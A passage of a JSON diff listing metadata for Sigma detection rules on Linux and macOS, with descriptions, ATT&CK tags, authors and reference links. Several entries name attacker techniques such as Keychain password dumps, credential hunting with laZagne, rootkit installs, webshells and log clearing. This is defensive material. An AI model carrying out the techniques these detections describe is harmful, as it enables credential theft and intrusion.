"refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1592.004", + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_lnx_susp_recon_indicators.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects system information discovery commands", + "uuid": "42df45e7-e6e9-43b5-8f26-bec5b39cc239", + "value": "System Information Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_lnx_system_info_discovery.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of system utilities to discover system network connections", + "uuid": "4c519226-f0cd-4471-bd2f-6fbb2bb68a79", + "value": "System Network Connections Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_connections_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_lnx_system_network_connections_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local network configuration", + "uuid": "e7bd1cfa-b446-4c88-8afb-403bcd79e3fa", + "value": "System Network Discovery - Linux", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_lnx_system_network_discovery.yml", + "author": "\u00d6mer G\u00fcnal and remotephone, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges", + "uuid": "0326c3c8-7803-4a0f-8c5c-368f747f7c3e", + "value": "Triple Cross eBPF Rootkit Execve Hijack", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation" + ], + "creation_date": "2022/07/05", + "filename": "proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script", + "uuid": "22236d75-d5a0-4287-bf06-c93b1770860f", + "value": "Triple Cross eBPF Rootkit Install Commands", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1014" + ], + "creation_date": "2022/07/05", + "filename": "proc_creation_lnx_triple_cross_rootkit_install.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious sub processes of web server processes", + "uuid": "818f7b24-0fba-4c49-a073-8b755573b9c7", + "value": "Linux Webshell Indicators", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/", + "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_webshell_detection.yml", + "author": "Florian Roth, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Web applications that invoke Linux command line tools" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.", + "uuid": "23c43900-e732-45a4-8354-63e4a6c187ce", + "value": "MacOS Emond Launch Daemon", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md", + "https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.014" + ], + "creation_date": "2020/10/23", + "filename": "file_event_macos_emond_launch_daemon.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "file_event", + "logsource.product": "macos" + } + }, + { + "description": "Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.", + "uuid": "dfe8b941-4e54-4242-b674-6b613d521962", + "value": "Startup Items", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_startup_items.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1037.005" + ], + "creation_date": "2020/10/14", + "filename": "file_event_macos_startup_items.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "file_event", + "logsource.product": "macos" + } + }, + { + "description": "Detects execution of AppleScript of the macOS scripting language AppleScript.", + "uuid": "1bc2e6c5-0885-472b-bed6-be5ea8eace55", + "value": "MacOS Scripting Interpreter AppleScript", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_applescript.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.002" + ], + "creation_date": "2020/10/21", + "filename": "proc_creation_macos_applescript.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Application installers might contain scripts as part of the installation process." + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", + "uuid": "719c22d7-c11a-4f2c-93a6-2cfdd5412f68", + "value": "Decode Base64 Encoded Text", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_base64_decode.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.", + "uuid": "95361ce5-c891-4b0a-87ca-e24607884a96", + "value": "Binary Padding", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_binary_padding.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_binary_padding.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate script work" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detect file time attribute change to hide new or changes to existing files", + "uuid": "88c0f9d8-30a8-4120-bb6b-ebb54abcf2a0", + "value": "File Time Attribute Change", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_change_file_time_attr.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects deletion of local audit logs", + "uuid": "acf61bd8-d814-4272-81f0-a7a269aa69aa", + "value": "Indicator Removal on Host - Clear Mac System Logs", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.002" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_macos_clear_system_logs.yml", + "author": "remotephone, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", + "uuid": "51719bf5-e4fd-4e44-8ba8-b830e7ac0731", + "value": "Creation Of A Local User Account", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_account.yml" + ], + "tags": [ + "attack.t1136.001", + "attack.persistence" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_macos_create_account.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option", + "uuid": "b22a5b36-2431-493a-8be1-0bae56c28ef3", + "value": "Hidden User Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.002" + ], + "creation_date": "2020/10/10", + "filename": "proc_creation_macos_create_hidden_account.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects passwords dumps from Keychain", + "uuid": "b120b587-a4c2-4b94-875d-99c9807d6955", + "value": "Credentials from Password Stores - Keychain", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", + "https://gist.github.com/Capybara/6228955", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_creds_from_keychain.yml", + "author": "Tim Ismilyaev, oscd.community, Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects disabling security tools", + "uuid": "ff39f1a6-84ac-476f-a1af-37fcdf53d7c0", + "value": "Disable Security Tools", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_disable_security_tools.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects usage of system utilities to discover files and directories", + "uuid": "089dbdf6-b960-4bcc-90e3-ffc3480c20f6", + "value": "File and Directory Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_file_and_directory_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detecting attempts to extract passwords with grep and laZagne", + "uuid": "53b1b378-9b06-4992-b972-dde6e423d2b4", + "value": "Credentials In Files", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_find_cred_in_files.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects attempts to use system dialog prompts to capture user credentials", + "uuid": "60f1ce20-484e-41bd-85f4-ac4afec2c541", + "value": "GUI Input Capture - macOS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md", + "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1056.002" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_macos_gui_input_capture.yml", + "author": "remotephone, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration tools and activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects enumeration of local systeam accounts on MacOS", + "uuid": "ddf36b67-e872-4507-ab2e-46bda21b842c", + "value": "Local System Accounts Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_macos_local_account.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects enumeration of local system groups", + "uuid": "89bb1f97-c7b9-40e8-b52b-7d6afbd67276", + "value": "Local Groups Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_groups.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_macos_local_groups.yml", + "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects enumeration of local or remote network services.", + "uuid": "84bae5d4-b518-4ae0-b331-6d4afd34d00f", + "value": "MacOS Network Service Scanning", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2020/10/21", + "filename": "proc_creation_macos_network_service_scanning.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects the usage of tooling to sniff network traffic.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", + "uuid": "adc9bcc4-c39c-4f6b-a711-1884017bf043", + "value": "Network Sniffing", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_sniffing.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2020/10/14", + "filename": "proc_creation_macos_network_sniffing.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.", + "uuid": "234dc5df-40b5-49d1-bf53-0d44ce778eca", + "value": "Payload Decoded and Decrypted via Built-in Utilities", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml" + ], + "tags": [ + "attack.t1059", + "attack.t1204", + "attack.execution", + "attack.t1140", + "attack.defense_evasion", + "attack.s0482", + "attack.s0402" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_macos_payload_decoded_and_decrypted.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects the enumeration of other remote systems.", + "uuid": "10227522-8429-47e6-a301-f2b2d014e7ad", + "value": "Macos Remote System Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_system_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2020/10/22", + "filename": "proc_creation_macos_remote_system_discovery.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", + "uuid": "7c3b43d8-d794-47d2-800a-d277715aa460", + "value": "Scheduled Cron Task/Job", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1053.003" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_macos_schedule_task_job_cron.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects attempts to use screencapture to collect macOS screenshots", + "uuid": "0877ed01-da46-4c49-8476-d49cdd80dfa7", + "value": "Screen Capture - macOS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_macos_screencapture.yml", + "author": "remotephone, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate user activity taking screenshots" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects usage of system utilities (only grep for now) to discover security software discovery", + "uuid": "0ed75b9c-c73b-424d-9e7d-496cd565fbe0", + "value": "Security Software Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_security_software_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.", + "uuid": "b6e2a2e3-2d30-43b1-a4ea-071e36595690", + "value": "Space After Filename - macOS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_space_after_filename.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.006" + ], + "creation_date": "2021/11/20", + "filename": "proc_creation_macos_space_after_filename.yml", + "author": "remotephone", + "level": "low", + "falsepositive": [ + "Mistyped commands or legitimate binaries named to match the pattern" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", + "uuid": "7f2bb9d5-6395-4de5-969c-70c11fbe6b12", + "value": "Split A File Into Pieces", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_split_file_into_pieces.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1030" + ], + "creation_date": "2020/10/15", + "filename": "proc_creation_macos_split_file_into_pieces.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects when the macOS Script Editor utility spawns an unusual child process.", + "uuid": "6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4", + "value": "Suspicious Exeution via macOS Script Editor", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685", + "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml" + ], + "tags": [ + "attack.t1566", + "attack.t1566.002", + "attack.initial_access", + "attack.t1059", + "attack.t1059.002", + "attack.t1204", + "attack.t1204.001", + "attack.execution", + "attack.persistence", + "attack.t1553", + "attack.defense_evasion" + ], + "creation_date": "2022/10/21", + "filename": "proc_creation_macos_susp_execution_macos_script_editor.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects commandline operations on shell history files", + "uuid": "508a9374-ad52-4789-b568-fc358def2c65", + "value": "Suspicious History File Operations", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.003" + ], + "creation_date": "2020/10/17", + "filename": "proc_creation_macos_susp_histfile_operations.yml", + "author": "Mikhail Larin, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity", + "Legitimate software, cleaning hist file" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.", + "uuid": "7ed2c9f7-c59d-4c82-a7e2-f859aa676099", + "value": "Suspicious MacOS Firmware Activity", + "meta": { + "refs": [ + "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", + "https://www.manpagez.com/man/8/firmwarepasswd/", + "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/30", + "filename": "proc_creation_macos_susp_macos_firmware_activity.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects usage of system utilities to discover system network connections", + "uuid": "9a7a0393-2144-4626-9bf1-7c2f5a7321db", + "value": "System Network Connections Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_system_network_connections_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects enumeration of local network configuration", + "uuid": "58800443-f9fc-4d55-ae0c-98a3966dfb97", + "value": "System Network Discovery - macOS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_macos_system_network_discovery.yml", + "author": "remotephone, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or 